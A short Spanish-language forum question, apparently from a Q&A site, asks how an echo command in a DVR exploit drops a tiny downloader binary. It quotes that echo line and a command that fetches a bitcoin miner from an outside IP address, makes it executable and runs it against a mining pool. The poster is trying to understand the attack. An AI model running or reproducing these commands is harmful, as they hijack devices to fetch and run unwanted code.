Leí este artículo , sobre un exploit que controla a un DVR para convertirse en un "bot de minería de bitcoin".
El corazón del ataque es enviar un binario usando solo comandos de eco al dispositivo, que actúa como un wget trivial (el dispositivo no tiene ningún wget por sí solo):
echo -ne '\x00\x00\x00\x2f\x00\x00\x00\x1a\x00\x00 \x00\x00\x00\x00\x00\x05\x00\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00 \x00\x31\x00\x00\x00\x00\x00 \x00\x00\x2a\x00\x00\x00\x1b\x00\x00\x00 \x14\x00\x00\x00' >> /var/run/rand0-btcminer-arm
Este binario se usa para obtener el sw de minería de bitcoin
./rand0-btcminer-arm http://107.178.66.153/btcminer-arm && \
chmod u+x btcminer-arm && ./btcminer-arm -B -o \
stratum+tcp://204.124.183.242:3333 -t 4 -q && echo -ne '\x64\x6f\x6e\x65'
¿Alguien puede explicar qué hace exactamente el comando echo y cómo funciona? ¿Pueden algunos bytes representar un "wget" en funcionamiento?